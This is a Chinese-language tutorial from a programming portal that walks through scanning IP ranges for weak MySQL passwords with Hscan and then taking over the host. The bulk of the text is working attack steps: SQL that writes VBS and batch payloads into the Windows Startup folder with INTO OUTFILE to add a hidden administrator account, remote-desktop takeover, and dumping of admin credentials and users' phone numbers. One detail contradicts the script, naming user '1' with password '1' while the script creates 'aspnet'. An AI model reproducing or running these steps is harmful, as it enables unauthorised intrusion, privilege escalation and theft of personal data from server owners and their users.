程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> MYSQL數據庫 >> 關於MYSQL數據庫 >> MySQL口令掃描案例

MySQL口令掃描案例

編輯:關於MYSQL數據庫
通過本案例可以學到:

  (1)了解MySQL數據庫服務器

  (2)利用Hscan工具軟件來破解MySQL口令

  (3)通過MySQL來提升權限的一種方法

  MySQL作為一款免費數據庫,如今在網絡上已被廣泛使用,MySQL數據庫在攻擊難度高於MSSQL數據庫,由於在MySQL數據庫中不能執行命令。通過研究表明可以有三種思路來對MySQL進行攻擊,攻擊的前提條件是已經獲得了MySQL的用戶名和密碼。

  (1)創建表,並在表中插入vbs腳本,通過導出表命令將vbs腳本導出到程序啟動中,當計算機重啟時便會執行vbs腳本。

  (2)查看數據庫表中的內容,目前使用MySQL數據庫的服務器一般跟Web服務器結合緊密,通過查看MySQL數據庫中的有關用戶以及密碼信息的表,特別是擁有管理員的表,然後再結合Webshell等實施控制。

  (3)利用MySQL應用程序漏洞來進行攻擊,查看MySQL的版本並利用MySQL溢出等程序對服務器進行溢出攻擊。

  本案例中主要介紹第一種和第二種情況,其它情況讀者可以自己去嘗試。

  1 設置Hscan

  設置掃描IP起始地址和結束地址,然後在掃描模塊中選擇“MySQL weak”,如圖1所示,設置完畢後,在“menu”中選擇“start”開始掃描MySQL弱口令。

  

  圖1設置MySQL掃描參數

  2. 查看掃描結果

  掃描結束後,在Hscan左下方區域會顯示詳細的掃描結果,如圖2所示。

  

  圖2MySQL掃描結果

  3. 連接數據庫並查看數據庫服務器中的數據庫

  左鍵單擊選擇一條掃描記錄,然後單擊“connect”命令連接MySQL數據庫。在MySQL數據庫中,所有的命令都是在DOS提示符下。連接成功後會出現MySQL的提示符,然後再其中輸入“show databases;”命令查看數據庫服務器中的數據庫,如圖3所示。

  

  圖3 連接並查看MySQL數據庫服務器中的數據庫

  &說明

  (1)MySQL數據庫開放的端口是3306端口,如果不使用Hscan軟件來直接進行連接可以使用MySQL數據庫連接命令來執行連接。

  (2)在MySQL中執行命令時需要在每一個語句後面加上“;”才能使命令運行成功。

  (3)在MySQL中有一些常用的命令,“show databases;”命令是查看數據庫服務器中的數據庫,“show tables;”命令是查看當前數據庫中的表,“use databasename;”使用數據庫名稱為“databasename”的數據庫為當前數據庫。

  (4)在對被入侵服務器的MySQL發動攻擊前,先掃描被入侵服務器的端口開放情況,便於後期控制,一般選擇開放23、 4899、3389端口的服務器。

  4 創建表並插入vbs腳本到表中

  依次使用以下命令:

  show databases ;

  use test;

  show tables;

  create table a (cmd text);

  insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );

  insert into a values ("a=wshshell.run (""cmd.exe /c net user aspnet ASPnettest/add"",0)") ;

  insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators ASPnet /add"",0) " );

  select * from a;

  完成後如圖4所示。

  

  圖4 創建表和插入vbs腳本到表中

  5. 導出vbs腳本到啟動

  使用以下命令將剛才在a表中創建的vbs腳本導出到啟動選項中。

  select * from a into outfile "C:\\Documents and Settings\\All Users\\「開始」菜單\\程序\\啟動\\a.vbs";

  導入成功後,系統重新啟動時會自動添加密碼為“1”且用戶名稱為“1”的用戶到管理員組中。在實際使用過程中該腳本成功執行的幾率比較低,有時候會出現不能導出的錯誤,如圖5所示。

  

  圖5 導出腳本錯誤

  推薦使用以下腳本:

  show databases ;

  use test;

  show tables;

  create table b (cmd text);

  insert into b values ("net user ASPnet 123545345!* /add");

  insert into b values ("net localgroup administrators ASPnet /add");

  insert into b values ("del b.bat");

  select * from b into outfile "C:\\Documents and Settings\\All Users\\「開始」菜單\\程序\\啟動\\b.bat";

  該腳本執行後雖然會閃現DOS窗口,如果有權限導入到啟動選項中,則一定會執行成功,在虛擬機中通過MySQL連接器連接並執行以上命令後,在 “C:\Documents and Settings\All Users\「開始」菜單\程序\啟動”目錄中會有剛才導出的b.bat腳本文件,如圖6所示。

  

  圖 6導出bat腳本到啟動選項

  &說明

  在不同的操作系統中“C:\Documents and Settings\All Users\「開始」菜單\程序\啟動”目錄文件名稱可能會不同,這個時候就要將其目錄換成相應的目錄名稱即可。例如如果是英文版本操作系統則其插入的代碼為:

  select * from b into outfile "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\b.bat";

  6 等待重啟和實施控制

  如果該計算機開放了3389端口,則可以直接進行連接;如果將b.bat換成其它bat命令,則可以執行其它命令來實施控制。

  &說明

  (1)擁有MySQL的用戶名稱和口令後,可以通過查看數據庫中的信息來對MySQL數據庫服務器實施控制。在本例中通過查看數據庫、表以及表中的內容獲取了管理員的密碼和名稱,如圖7所示。

  

  圖7查看表中信息

  (2)在MySQL數據庫中一般會存在多個數據庫,通過“show databases; ”、“show tablesname;”以及“select * from tablesname;”等命令獲取表中具體的內容,而通過查看其中的內容來進行Web服務器域名的信息的定位以及一些網站管理員的密碼和用戶名稱,在本例中通過查看其它的數據庫,還獲取了大量的用戶信息,其中包含了管理員的手機等信息,如圖8所示

  

  圖8 獲取額外信息

  小結

  本案例通過Hscan掃描MySQL口令,掃描出口令以後借助Hscan的MySQL連接功能直接連接MySQL,通過創建表,將vbs腳本插入到表中,然後再導出到系統的啟動目錄下,系統重新啟動以後,會自動添加用戶,進而通過遠程終端3389連接該MySQL服務器所在計算機,成功實施控制。

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved